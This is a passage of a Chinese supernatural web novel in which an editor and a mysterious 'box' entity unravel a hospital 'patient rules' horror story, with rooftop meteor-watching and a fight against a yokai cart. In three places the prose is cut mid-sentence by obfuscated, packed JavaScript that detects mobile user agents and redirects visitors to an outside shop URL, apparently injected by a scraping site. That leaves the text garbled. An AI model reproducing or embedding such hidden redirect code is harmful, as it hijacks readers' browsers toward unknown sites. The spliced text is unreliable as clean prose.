但是,黑野编辑仍有疑问,他必须要上天台。 “……你身体不舒服吗?” “鹰之助”正看着病人的脸色,小心翼翼地问。 “我没事。”黑野编辑抬头对“鹰之助”说,“带我去天台吹吹风吧。” 【你还要去!?】 那个声音几乎是尖叫起来,已经完全不像是匣子的气度了。 匣子会嘲讽,会示弱,会纠缠,会怂恿,会故意出馊主意诱导编辑犯错,好等着看编辑的笑话,但匣子很在乎自身的形象,也从来都不会真正表现得软弱无能。 黑野编辑一直在思考一个问题,究竟是从什么时候开始,匣子变得不像匣子了。 最早的话,大概是从上次离开天台之后吧。 29.简单的逻辑推理 黑野编辑向来谨慎对待任何一个可能性。 在匣子最能兴风作浪的时候,他没有放弃对匣子只是幻觉的怀疑。 而在找到了关于幻听的重量级证据后,他也没有轻易丢开匣子是真实存在的独立意识的可能性。 在CT扫描舱里听到那段奇怪的声音信息时,黑野编辑在可能性的分支上,增加了一些假设。 在“匣子为真”的前提下,也就是在“漫画世界理论同样为真”的前提下: 假设一,他仍停留在《病人守则》的规则世界里。 随着之后的事件发展,越来越多的证据表明这个假设极有可能是真的。 假设二,CT扫描舱里的声音的确是匣子想要传递给他的讯息。 虽然这段讯息存在语句缺失,难以解读具体含义,但足以体现出匣子积极传递警告的态度。 而这与匣子在“幻觉论”前放弃辩驳的消极态度是矛盾的。 基于“匣子态度前后不一”这个矛盾,可以进一步推演出几种不同的假设。 一是,新的重大发现让匣子迅速改变了态度,但因为客观原因导致信息传输受阻。 但这个假设暂时没有搜集到明显相关的证据。 先保留该可能性,暂不进行深入研究。 二是,信息传递存在时间差,在CT扫描舱里接受到的信息来自过去或未来。 后续事件证明,这家医院内的昼夜变化或许会带来时空交替。 白日里被开除的八濑广重会出现在夜晚的世界。鹰之助在白天和夜晚的年纪身份也完全不一致,疑似存在时间差。 但如何突破时空限制,尚需进一步调查。 可惜今晚没能进入CT室调查。 如果天台之行没能得到新的线索,下一步,黑野编辑就会进行向白天“未来世界”传递信息的尝试,预计将在未来几次的昼夜变化中开展实验。 三是,同时存在两个会发出匣子的声音的个体。 这里又衍生出来三个可能性:两个“匣子”有可能同时为真,有可能同时为假,但最需要着重考虑的假设是一真一假。 毕竟“同时为真”是匣子的自我意识分裂,“同时为假”是匣子的冒牌货泛滥,都该由匣子自己来处理麻烦和负起责任。 在黑野编辑的立场上,只要确保一视同仁就好。 但若“一真一假”,就得仔细甄别,差别对待,才能尽到作为……“朋友”的本分。 既然当初匣子自顾自宣告为朋友的时候,黑野编辑没有拒绝,那就不能在这种小事上失节。 好在黑野编辑做事严谨,从来不怕麻烦。 如何判别真假?自然是检验行为的同一性和连续性。 对同一性的鉴定,很难不掺杂主观因素,黑野编辑只能拿出自己做编辑多年来的眼力,尽力而为。 而对连续性的判断,可以参考与匣子一路同行时可能失散的重要事件点: 第一个事件点,是第一次服药后匣子的失踪。 匣子回来后自称为去“下潜”了,并将黑野编辑带去了画风简单的漫画世界。 如果那时匣子已经被外物替换了,那么“它”将黑野编辑带入《病人守则》的世界,从一开始就是有预谋有企图的。 而且“它”当夜和黑野编辑谈论了许多关于《夜樱》漫画的事情,说明“它”一直在关注匣子与黑野编辑的工作。 但“它”在言行上与匣子很相似,黑野编辑的主观判断没有找到什么同一性上的疑点。 第二个事件点,是在离开那个画风简单的漫画世界的时候。 黑野编辑经历了短暂的恍惚,回到病房。 在场景转换后,匣子重新出现,自称他们是“被那个世界赶出来了”。 ——注意,此处存在疑点。 若之前作出的假设一成立,即黑野编辑仍留在《病人守则》的规则世界里,那么匣子的说法就是错误的。 他们并非并赶出来,而是深潜到小世界的更深层。 此处又分化为不同可能: 第一种可能,匣子并非万能的,匣子本身可能出错; 第二种可能,匣子是对的,并由此推翻假设一,将这个疑点作为另一个假设的证据备用; (另一个假设,即“自己已经离开《病人守则》的规则世界,回到现实世界,但规则世界正在影响现实世界的事物发展,就如同当初《夜樱》世界的污染导致了冬云茜和鹰之助的变异一般”。) (这个重要假设也能派生出多种推论和可能性,应保留这一假设分支,在必要时做深入思考。) 第三种可能,匣子已经被替换了,这个说法是故意误导。 ——疑点分析结束。 将继续开展对这段时期内匣子的行为分析。 匣子在整个白天里的表现都一蹶不振,话语总量比平时要少。 除了惯常的嘲笑和邀功外,主要行为包括:看穿药物配送的问题,阻止黑野编辑服用粉红色胶囊;反对让鹰之助带他上天台;表达对久世的好感;消极应对黑野编辑对幻觉的质疑。 在这个时期里,匣子开口说话几乎是就事论事,完全没有提及与医院情境无关的话题。 黑野编辑的主观判断,认为这段时期里匣子的表现存在问题,同一性较低,但这有可能是匣子遭受了在漫画世界中探索失利的打击。 第三个事件点,是在黑野编辑再次服药之后。 匣子消失了。 之后发生了CT扫描舱内的警告事件,该段信息残缺不全,不能轻易下推断。 其中: 能辨认的名词对象是漫画世界和天空; 警告的两个方向分别是虚假和危险。 第四个事件点,是黑野编辑半夜醒来后。 夜间探索时,匣子的声音两次出现,其所有行为的核心目的都很明确,是为了阻止黑野编辑前往天台。 为此,它向黑野编辑告知了关于《病人守则》的创作者久世寿穗的不幸遭遇。 这里的匣子与第二个时间段内的匣子有行为上的共性,即反对上天台,但行为的强烈程度不同。 黑野编辑的主观判断,将这一时期的匣子鉴定为假。 如果真的存在一个假匣子,那么“它”究竟是什么? 目前还没有足够明确的线索。 但能初步推测,“它”的身份与《病人守则》世界有较强的关联,且拥有足够强烈的自主意识,让“它”主动顶替匣子来接近黑野编辑。 存活在《病人守则》世界中的意识体,会是谁? 假匣子的身份与最终目的尚未可知。但天台这个地点的特殊性得到了强调。 结论:理应进行深入调查。 在调查前需要明确的事情有两件: 这个地点可能是黑野编辑与匣子失散的重要嫌疑地。 同时,这个地点关联着两条看似相悖的规则。 但是,真的相悖吗? 黑野编辑在脑海中的黑板上写完以上这一长串逻辑证明,又在新的陈述上标记重点,并打了个问号。 他认为两者相悖,是因为昨晚在天台上看到了旧规则被黑色删除线划掉,随后新的题字取代了原本的占位。 但这不过是那个画风简陋的漫画世界里的一段剧情演出而已。 漫画世界只是表象。 而这个位于表象之下的镜像世界,究竟遵循哪套规则? 在以文字为基底构建的世界中,一段看似删除、但被实际记录下来了的文字信息还能发挥作用吗? 创作者在生前构建了这个世界,她生前的心愿究竟算不算数? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906011|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而且,创作者究竟有没有能力在死后对这个世界进行修改? 新规则是由谁加上去的? 此处应补充考虑的是,假匣子知道现实世界中久世寿穗的死亡真相。 它在哪个时间点诞生?为何会成为在《病人守则》世界中游荡的独立意识?与久世寿穗有什么关联? 这条死后规则的诞生是否与假匣子有关?假匣子为何想要阻止黑野编辑上天台? 黑野编辑提出了一连串新的疑问。 而其中最一条有待验证,并且有条件可以验证的重要命题是:新旧规则之间未必是取代关系,两条规则同时共存的可能性微存。 毕竟这两条规则在逻辑上其实没有直接冲突。 看到流星能够出院。 靠近红色的栏杆很危险。 条件和结果都不同,而奖励或许就藏在风险之后。 证据呢? 有某件事情或许可以与之关联起来。 目前看来,有极大的概率,匣子是在昨晚离开天台后被替换掉的。 究竟是什么力量能将黑野编辑和匣子分开?黑野编辑和匣子的相处并非物理世界的相伴,而是在意识层面上紧密相连。 假匣子能够操纵这种意识联系?可它在取代匣子后,除了发布一些外人听不到的耳语外,再未展现过其他能力。在面对关于“幻听”的质疑时,它也表现得相当无能。 无论假匣子的身份是什么,性能似乎都远远比不上真正的匣子。 这种替换,与其说是谋夺位置,更像是占据空巢。 假如,真正的匣子是“出院”了呢? “如果在天台顶看到了流星,能很快病愈出院。” ——《病人守则》 昨晚的变故,让黑野编辑放弃了继续观测天空。 但是匣子那种非人的侦查能力,远在黑野编辑之上。 谁也不知道匣子是怎么“看”的,但明显它能实现类似的功能。 合理。 这条剧情链暂时可以成立,未发现矛盾,有待进一步验证。 黑野编辑在脑海中的黑板上画上最后一个句点。 黑板上写满了在假设上不断衍生的推论,是枝叶繁茂的剧情分支树。他尽量简化细节,找出主线,完成了这段简单的逻辑推理。 要做的事情也清楚地呈现在眼前。 接下来就该用实践去检验,然后用新得到的事实来修剪这些可能性的分支了。 黑野编辑抬起头,迎向“鹰之助”怀疑的目光,“其实,我还知道《病人守则》中的一条,是所有条目中的最后一条。” 那是久世寿穗在世时曾感受过的温暖和善意,是她偶尔回顾自己短暂的人生经历时,曾作出的天真的总结。 “守则说,‘永远可以相信黄色头发的护理工。’” 这句夸赞对高中生义工来说可能有点重了。 “鹰之助”先是惊讶,然后露出混杂着尴尬和高兴和羞涩的复杂表情,好半天都没能恢复正常——看得出他很想要克制,都快要将嘴唇咬破了,还是没能阻止嘴角高高地翘起来。高中生的这种表现倒是有些可爱。 黑野编辑等待他尽量平复下来,才继续说道,“我不能对你隐瞒接下来的事情——外面的天台上很可能存在非常危险的事物。 “但我有一些缘由,必须要去看看。” “匣子”在黑野编辑的耳边发出恐怖的噪音,简直要让人头脑发麻。 黑野编辑没有理会,只专心看着“鹰之助”的反应,他能读唇语。 成年人的语气已经尽可能严肃了,可高中生义工依旧是不能理解的模样,困惑地拧着眉,满脸青涩,一看就是还未将危险当真。 黑野编辑叹了口气,可为了多几分胜算,最终还是说道,“我想要正式请求你的帮助。” 30.疾电 “鹰之助”想了想,“好吧,我帮你,但是,去过天台后,你能好好回病房休息吗?” “可以。”黑野编辑答应得很干脆。 这本来就是两人提前说好的事情。 天台的门被“鹰之助”打开了。 风立刻吹进来,夜风有点凉。 “鹰之助”低头对着黑野编辑和他的轮椅左看右看,欲言又止,又摸摸自己单薄的T恤,大概是想要帮病人找件外套,偏偏又无计可施。 外面很光亮,是个朗朗的星夜。 黑野编辑吩咐,“待会出去后,你带着我直接往天台中间冲,千万不要靠近栏杆——离得越远越好。 “注意自己的站位,确保四周都留有能够躲避袭击的空地。” 这个指令听上去古怪,但足够具体,反而让“鹰之助”的脸色变得严肃。 他问,“然后呢?” “注意观察栏杆颜色的变化。”黑野编辑指导,“如果发生变化,那就是袭击出现的预兆。 “要立刻躲闪,并尽快在最初的几次袭击后总结规律。” “鹰之助”沉着地问,“然后?” “没有了。”黑野编辑说,“然后就是等待。 “等待天空的流星。” “鹰之助”没有再问东问西,他弯腰将鞋带认真地重新系了一遍。 哪怕是刚刚才进入状态,但也不会对已经应承下来的事情讨价还价,这是鹰之助的优点。 万事俱备,只欠一点好运。 等待流星,是需要天时地利的。黑野编辑向来很清楚自己的运气究竟如何,为此有些轻微的忧虑。 可就在此刻,当他想到这节的时候,他突然心有所感。 他伸手摸向自己病号服的口袋,摸到了一粒不知何时出现的粉红色胶囊。 他记得很清楚,在接受CT检查前自己的口袋已经空了。 理论上,这枚药不该出现在这里的。 他原以为这家医院内的昼夜变幻不会影响到自己——这个推断是以自己身体的基本情况为参照物的。 或许仍有尚未被他纳入考虑的其他因素存在。 无论如何,这枚粉红色胶囊恰好就在他最需要的时候,出现在他的身边。 它静静躺在他的手心里,像一个小小的奇迹,或是由不知何人赠予的善意。 《病人守则》这个规则怪谈,原本就是一部看上去怪异森冷,实则是充满温暖的向其他病人分享提醒的作品。 “将粉红色药盒摇晃三下再打开,吃完会获得好运。” ——《病人守则》 黑野编辑用手指捏着粉色胶囊,摇了三下。 “鹰之助”看着他,目光里的担忧疑惑倒是与白日里的鹰之助同出一辙了。 黑野编辑安抚道,“我心里有数的。” 他意有所指地说,“这是治疗‘幻听’的药。” 也是能带来好运的药。 他扭开胶囊,将其中的药粉倒入自己口里。 他做好了咽下苦药粉的准备,但出乎意料,那些药粉竟然是甜丝丝的。 这与生活中的普遍直觉相悖。简直要让人质疑,既不需要缓释又不需要遮苦,为何要设计成胶囊外壳,但这又有什么关系呢?孩童的幻想和祝愿本就是不在乎逻辑情理的。 耳边那些“匣子”制造的讨厌噪音都消失了。 静谧的夜晚回归正常。“鹰之助”的呼吸清晰可闻。 “走吧。” “鹰之助”带着黑野编辑冲过了门槛,直接冲到了整个天台的最中间才停下。 他们头顶上是一整片璀璨明亮的星野。 很难想象在都市中能看到这样的星空。 可是孩童绘就涂鸦,为这所医院赋予了这样的浪漫。 很久以前,曾有个半夜找不到父母的小病人,来到天台上看星星,等待一颗能用于许愿的流星。 她在想象中安排了这样美好的画面吗? 一截栏杆突然煞风景地变红了。 还不等黑野编辑出声提醒,“鹰之助”已经带着轮椅错开步伐,与袭击擦身而过。 ——那道袭击和栏杆的颜色转变几乎没有时间差。 黑野编辑心有余悸地看着来袭者,那是一座沉重巨大的车架,刚刚突然从他们身后出现,冲撞过来,撞破栏杆冲出去。 又在空中掉转车头,回旋着再度冲撞过来。 涂鸦世界里的绘图粗糙不堪,直到此时他才看清那个“不明物体”的原貌。 是一座樱岛古典特色的车架,侧面装饰着家徽,黑野编辑并不认识其来历,但依稀记得曾在这所医院的某些装潢上见过。 而车架的正面,车棚前方是一张极其巨大且面相狰狞的苍老男人的脸,整张脸几乎与车身等高。 是胧车。黑野编辑立刻判断出来。 这是樱岛传说中的一种妖怪。相传是在古平安京时,由贵族们争抢车位落败的怒气和怨气所化。 眼前的这张脸上,写满了贪婪嫉妒憎恨。 这大概率就是那位嫉妒发狂并夺走了孩童们生命的老人的脸。 “啊,这张脸,是这家医院的院长啊。” “鹰之助”也认了出来,在躲避中匆忙说道。 他甚至有余力想了一想,说,“我想起来了,他和小寿穗……” 他顿了一下,躲开胧车的又一次冲撞,说出黑野编辑预想外的句子,“他好像是小寿穗的爷爷!” 这个突如其来的新情报,令黑野编辑微微有些诧异。 倒不是为这重身份关系。真正丧心病狂的人对亲人都能毫不犹豫地下得去手。 他脑子里闪过的想法是,假匣子告诉他的情报果然还有所保留。 天台上的栏杆正在一截截急速转红。 但总结规律已没有意义,因为那些栏杆很快就被胧车撞得七零八落。 胧车绝不会在意天台上四面空空荡荡,它灵活地在空中转弯回旋。 然后带着一种强烈的怨恨气息,朝他们反复冲撞过来。 昨天夜里在漫画世界中,黑野编辑所站的初始位置不好,太靠近栏杆了。 当胧车冲撞过来的时候,他几乎没有回避空间。所以,那一位“鹰之助”不得不走极端,用舍身相替的方式来救他。 但是今天他们规避了这个弊端,一开始就抢占了有利地形,四周都很开阔。 胧车的重量很大,速度很快,撞击也猛烈。 好在体育生反应也快,体力充足,带着病人左右腾挪,仍有躲闪的余地。 轮椅胜于拐杖的优越机动性也在此时得以体现。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912482|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黑野编辑没有浪费体育生努力争取来的时间。 他坐在反复颠簸腾挪的轮椅上,确认“鹰之助”尚能应付胧车后,就将那些威胁置之度外,只专心地仰头观测着天空。 那些星星闪烁着,闪烁着,几乎要令人目醉神迷,眼花缭乱。 他认真分辨着,不想错过任何一颗将要坠落的流星。 甜丝丝的药味仍残留在他舌尖。 但那份好运似乎也不足以挽救填补黑野编辑的糟糕运势。 那些星星就是不肯落下,只顾着在天上对他眨眼睛。 天台上的风越来越大了,卷得黑野编辑的头发都快遮住了眼镜。 这和胧车的攻势转得愈发骤急也有关系。 车架飞腾而过时带着巨大的风声。 黑野编辑听到了体育生的喘息声。他不得不转头观察场中的境况,发现形势不是很好。 “鹰之助”在躲闪中不知不觉被逼到了角落里。而天台四个方向的栏杆全都被撞坏了,这里几乎是座四面临空的悬崖,稍有失误就会摔下高台。 这种冲撞闪躲游戏,不是单纯的速度较量,胧车狂怒的面容下也有着算计和战略的智慧。 而“鹰之助”带着轮椅,在灵活性上受到的拖累还是太大了。 只靠躲避的话,两人的躲避空间会越来越小。 不能再这样下去了,必须想办法破局。 作出判断的瞬间,黑野编辑的命令已经脱口而出,“用你的异能,鹰之助。” “鹰之助”的身体一震,他甚至没有问黑野编辑从何处知道他的名字,首要关心的事情是,“你怎么知道我会……!?” 他咬牙带着轮椅急急闪躲。 这一回,胧车堪堪擦着他们的身侧冲过,劲风将黑野编辑的身体都刮得差点甩出轮椅,当然,“鹰之助”的突然转向也是他失衡的罪魁祸首之一。 好在“鹰之助”及时伸手将黑野编辑拉了回来。他紧紧抓着黑野编辑的胳膊,又下意识再收了点力,“你是……” “我早就知道了。”现在不是详细解释的时候,黑野编辑再次提出要求,“它又来了!用你的异能。” “鹰之助”咬了咬牙,知道眼下的确情势紧急,由不得深究。 他早就有些犹豫了,如今没有遮掩能力的必要,接下来要做的事情,反而变得轻松。 “鹰之助”放开了黑野编辑的轮椅,弯腰从地上捡起一根栏杆碎片,掂了掂重量,不甚满意地握持住,摆出击球的架势。 胧车带着劲风再次冲撞而来。 “鹰之助”毫不犹豫地挥棒击出。 电光亮起。 棒车相触之处,电光接连闪现,凭空编织出一张巨大的电网,跳跃的电火花发出噼里啪啦的声响。 冲撞来的胧车被这张电网兜住,身不由已地被弹往相反的反向。 空气中传来焦臭的气味。胧车那边传来愤怒的辱骂。那张老人面容上的须发被电火花燎着了,冒出焦黑的烟气。 “鹰之助”将临时的武器暂存在轮椅侧边扶手内,从容地推着黑野编辑走回天台中间,占据最好的站位。 轮椅上能置物的地方并不多,黑野编辑的胳膊紧贴着那根余温未尽的金属棒。 他能感受到其被高压电击后残留的微微灼烫感。 31.重返现实 鹰之助的异能果然是电。 最早在车里察觉到车载收音机的信号波动时,就算那恰好与助手的心情波动同步,黑野编辑也没有将其放到心里去。 毕竟能干扰电磁波信号的可能因素太多了。 当看到东云茜的异变之时,鹰之助的第一反应就是怀疑是否异能。 这种警觉性值得赞赏,也未必就是以己度人。 而在东云茜家的玄关里,鹰之助在冒险举止中露出了直接的破绽。 当时,年轻人确实做出了急中生智的掩盖举措,但他不得不寄望于黑野编辑忽略掉当时东云茜家房屋已停电的事实。 黑野编辑不仅不会忽略,甚至会进一步深想。 就算东云茜家真的配备了两套电力系统,让插座和灯光分开走线,那么如此重视用电保障的房屋主人,就不可能忘记电力系统安全。 而当时的电流强度和持续时间,早就超出了家用保险丝能支撑的强度。 再稍稍估测计算一下当时的电压峰值,和樱岛民用电压范围进行对比。 真正的答案就只剩一个。 匣子不可能侦测不到电力的真实来源。想想匣子当时的态度,应该是故意知情不报,打算留待日后给黑野编辑一个惊吓的。 细细想来,鹰之助独自返回东云茜家的屋内,重新制服了异变的东云茜,此过程中大概率也使用了异能。 匣子只向黑野编辑播报了搏斗结束后的场景,有意无意地漏掉了可能存在的证据。 此刻高中生“鹰之助”在天台上展现出来的异能强度和场面规模,远远超出了助手鹰之助在东云茜家玄关内展现出来的程度。 毕竟胧车的重量级更高。 而且,异能本来就是一种青春期的象征。 按照某些理论,中学生的年龄段才是异能发展的全盛时期。 黑野编辑查阅过很多资料,尤其是阅读了许多异能者自述的传记。异能的爆发似乎总与不稳定的情绪相关,有时是嫉妒,有时是愤怒,有时是渴求。而拥有异能后的发泄和破坏,有时能填补这些不满足,有时会让一切变得更糟。但人终究是会长大的,异能反而是种加速成长的催化剂,总让人更快看清自身真正所需,更早面对真正的自我。 那些异能者总是会在某一天里,或是意识到自身已经历了成长,或是随着某天突如其来的一阵释然,或是干脆没有任何预兆的,发现伴随着自身青春期的异能终于消失。 黑野编辑没有这种亲身经历。 在过去的平静生活中,他也没有遇到过可以同他当面讨论这样隐私话题的异能者对象。 在普通人类组成的汪洋人海中,异能者的数目还是太稀少了。 异能是与科学背道而驰的另一套系统。 除非异能者主动引发违背自然规律的现象,目前还没有什么科技手段,能够检测出一个不显山露水的人身上,是否具备异能。 黑野编辑的多思谨慎,让他有时候会猜想,那些异能者的自述传记都是假的,是什么心照不宣的谎言。 也许异能是不会消失的。 只是随着那些青少年成长起来,随着那些异能者与社会外物进行和解,能够心平气和地用与人无异的面貌态度来应付所有生活,那些异能就被其主人隐藏起来,被放弃使用了而已。 拥有异能的人不仅是社会的异类,也会被打上不稳重、靠不住、未脱离中二期的标签。 这种歧视在提倡集体主义的樱岛格外严重。刚入职场、青涩未褪的鹰之助想要隐瞒自身异能,是极为正常的事情。 如果不是到了这种危急时刻,黑野编辑也不想拆穿。 战斗仍在继续。胧车受挫后也不肯放弃,试探起新的进攻策略。 黑野编辑确认了“鹰之助”能应付得来眼下的局面,就重新仰头,专心地看向天空。 满天星星仍亲昵地对他眨着眼。 风声和雷电的声音在耳边回响。 突然间,一道霹雳照亮了天空,让群星都显得黯淡,天空也变得苍白。闪电在黑野编辑的视网膜上留下一道久久不散的残影。 黑野编辑皱起眉,想要提醒鹰之助,这种光亮会影响观星。 可幻想世界或许就是这样不讲道理的。 就在这种搁到现实世界中明明不可能观测得到流星的大气光照条件下,他眼角的余光看到了一道璀璨的光亮,有着水果硬糖般的形状和色泽,如彗星般拖着长长的尾巴,从天空上斜斜滑过。 是流星。 【你终于回来了!】 是匣子惊喜的声音,蓦然在耳边响起。 黑野编辑不久前刚听惯了由这种声音制造出的恐怖噪音。 当这道声音再度出现时,他的第一反应是想要皱眉,但又努力克制住了。 他睁开眼睛,发现自己仍躺在病床上。 病房里静悄悄的,有熹微的晨光透进来,在床帘下的地板上划出一道光带。 他看了眼手表,此刻还不到七点。 之前在天台上陪伴他作战的“鹰之助”当然已经不在身边了。 但黑野编辑周围并非空无一人。 他听见隔壁床的病人在此时翻了个身。 病房外的走廊上有护士推着小推车匆匆经过。 一切都很平静,是普通的医院早晨的日常。 按照黑野编辑熟悉的规律,接下来很快就会有护理工送来早餐,开启这忙碌的一天,之后,又会有护士来送药,然后是医生的例行查房。 这一切看起来都和昨天的清晨差不多,当然,和前天的清晨也差不多。 毕竟其他人谁也不在,每日的差别都只有:匣子的存在与否,以及匣子的语气。 被黑野编辑刻意放置在一边的匣子——不管是哪个“匣子”——今天都没有闹脾气。 它耐心地等黑野编辑观察周围的环境,随便调整好自身的情绪,等黑野编辑差不多结束观察的时候,才重新开腔,用更加正式又隐含高兴的语调打招呼。 【早上好,编辑。】 【——恭喜你回到现实世界。】 黑野编辑闭上眼。 一片黑暗中,他能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921072|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见,匣子的本体就漂浮在自己的正前方。 漆黑哑光的匣子,棱角圆滑,像颗没有刻度的骰子。 缠绕着的光芒比往常更加活跃地流动着,如同一条条光耀的河流,自荐般展现着自身的存在感。 黑野编辑伸手握住匣子,手指穿过那些加强版光带的感觉,如同穿梭水流,随后是匣子那熟悉温润的手感,落在他的手掌心里。 他在心里想,【你的光芒好像变亮了。】 隔壁床的病人还在休息。经历过“鹰之助”几次奇怪的目光后,黑野编辑开始觉得,握着匣子的本体就能无声交流的特性,好像确实挺有用的。 【哦,我解放了一些新性能。】匣子简单地回答。 【……】 顿了一下,又补充说,【本来以为先前那样就绰绰有余了,但好像不是那么回事。还是得稍微认真点。】 这大概就是匣子能摆出来的最低姿态了。 听着有些像是认错,又很像是在自夸。 黑野编辑暗暗心想,匣子变得这样亮,又是闭眼就出现的被动技能,多少有点影响自己睡觉了。 可惜在握着匣子的时候不存在暗地里“想”这回事。 【当然是可以调整的!】匣子唰的一下给自己换回了先前那款暗光皮肤。 再换了个更亮的,然后是匿光版,最后还试了下呼吸灯模式。 在匣子换装换得乐此不疲的时候,黑野编辑悄悄松开了匣子。 既然光线强度什么可以调整,那刚出场时完全没必要把自己点这么亮。 说什么解放新性能,不过是爱显摆罢了。 如此清晰地感知到自己在“腹诽”别人,对黑野编辑来说也是件新鲜的感觉。 过去他很少这么做,但他现在对匣子的吵吵嚷嚷已经有种敬畏感了。 匣子没有评价黑野编辑的微妙举动。 黑野编辑对待它的态度一向都挺随性的,它早习惯了。 匣子最后还是美滋滋地穿回了自己的新皮肤,然后谈回正事,【所以,你最后是怎么从那个漫画世界里出来的?想我了吗?听到我给你的留言了吗?】 黑野编辑用手指点了下它,将它在视野中按低了些,【先说说你这边的情况。】 护理工送早餐来了。黑野编辑一边吃早餐一边听汇报。 匣子说的事情与黑野编辑当初的猜测之一是吻合的。 在天台上观测到流星后,匣子就被送出了“漫画世界”。 它立刻想到这与那条《病人守则》的内容有关,再然后,就发现自己与黑野编辑失去了联系。 回到现实世界的匣子,发现虽然黑野编辑的意识滞留在了“漫画世界”里,身体却仍在采取行动,能正常起居活动。 根据匣子的检测分析,现实世界中“黑野编辑”的行为模式与黑野编辑重合率达到了95%以上,简直就像是被本人操纵一样。 唯一的问题是,“黑野编辑”偶尔会表现得…… 像是在与另一个匣子对谈? ……哪里来的小妖精!? 32.签订契约吧 匣子发现情况不对了。 可在这种两界相隔的状态下,它无法重建与黑野编辑的思维链接。 一整天的时间过去了。 黑野编辑要求护士检查药物,与鹰之助一起去天台之类的事件,在现实世界中也同样发生过了。 但在匣子看来,不仅黑野编辑,连护士和鹰之助的行为也一同表现得很怪异。 首先,药物并没有被护士弄错。那份粉红色胶囊本就是正确的药物,但在黑野编辑要求检查后,护士们的行为却颠倒黑白,仿佛蒙受了某种令思维混淆的异常。 两位编辑在天台上的行为也同样如此,他们好像看见了并不存在的某位病人,与其进行了对话。 匣子断定那个“漫画世界”正在侵蚀现实世界,就如同当初,《夜樱》世界的异变渗透到了东云茜家。 “漫画世界”的影响范围限定在这家医院。 就匣子的观察判断,黑野编辑是思维被困在了那个“漫画世界”中——被匣子带进去的——没能出来,可思维与□□仍有联系。“漫画世界”的发展应该与现实世界有同步性和一致性,黑野编辑的思维同时左右着现实世界和“漫画世界”两边的行动。 其他人的则是生活在现实世界中,却受到了某种外来幻觉的蒙蔽,与黑野编辑共同演出着某段剧目。 虽然在黑野编辑解释前,匣子并不明白,他们为何会被来自那种简陋涂鸦世界的幻觉给欺骗。 匣子则是“出院”得太彻底了,被那种集体幻觉屏蔽在外。 它试图制造一些干扰和阻碍,但那些现实世界的异常也全都被幻觉给覆盖了,鹰之助和医护人员都看不到它的警告。它了解黑野编辑的道德标准,又不能真的制造伤害□□故。 最后,匣子反而成了这家医院中彻头彻尾的外人。 匣子观看了这场演出,从他们的对话中猜测“漫画世界”中发生了什么。它很欣慰黑野编辑没有放弃治疗,还是吃下了正确的药物——虽然分量减半了,而且从中判断出黑野编辑似乎对那个幻觉中的“匣子”生出了警惕。 【我就知道你不会弄错我和别人!】匣子兴高采烈地说。 黑野编辑暗道一声侥幸。 匣子在现实世界里研究思索《病人守则》的规则内容。 当黑野编辑打算去做CT时,它也觉得关于CT室的规则是可乘之机。若CT舱内有天魔惑乱人心的话,它正好来扮演这个天魔。 考虑到计划的成功率不高,为此,它特地解放了性能,在医院中同步制造大量干扰,好让可能存在的主谋疲于奔命,同时,用最有穿透力的能量,向所有小世界中类似黑野编辑的精神频率都传递了这份警告。 黑野编辑对这个技能的覆盖规模存有疑虑。匣子却轻松地用话语带了过去。 【没事的,一般人应该也就当成幻听而已,不会有什么大事故的。】 黑野编辑只能叹了口气,希望那些自己的“精神频率近亲”,都是冷静之辈,不要喊着天启什么觉醒什么的,作出不理智的举动。 黑野编辑问匣子具体的传递内容究竟是什么。 匣子回答说,无非是劝说编辑快点清醒什么的。要快点从假世界中出来。不要耽于漫画世界。所处世界不是真的。记得观测天空。小心危险。 ……诸如此类。 【反正他们所身处的也确实都是些小世界嘛。】 黑野编辑听完更担心那些蒙受无妄之灾、同样接受到幻听的人了。 他方才听匣子讲述时,刚对其行为中的道德准则有所感触,稍微放心了一点,现在又觉得,还是要继续严格监管匣子的行为才好。 匣子邀功,【怎么样?你当时都听清了吗?既然你现在出来了,想必很有指导意义吧?】 黑野编辑不忍心告诉匣子那些信息都散得七零八落了,【确实有点用处。】 【我就知道。】匣子高高兴兴地说。 【那个小世界对我封闭了入口,拒绝我的所有干涉——哼,要不然我就直接进去将你带出来了。】 【但就算防成这样也没用,它根本无法抗拒所有小世界的同频率共鸣。】 所有小世界的同频率共鸣。 如果这不是夸口的话,匣子的性能就更加恐怖了。 黑野编辑无法确定这究竟意味这什么,但既然匣子具备这种规模的功率,难道就没有更好的事件处理方式吗? 因为已回归熟悉的现实世界,黑野编辑放松下来,也难得有心情开玩笑,故意刺匣子一下,【可是你进不去。】 【没有哪个世界能真正挡住我。】匣子骄傲地说。【但是你会拿核弹来开锁吗?】 【它拒绝我,而且是从世界底层的规则逻辑上拒绝我进入。我非要进去的话,我自己倒是够结实,就不知道这个小世界会发生什么事情了。】 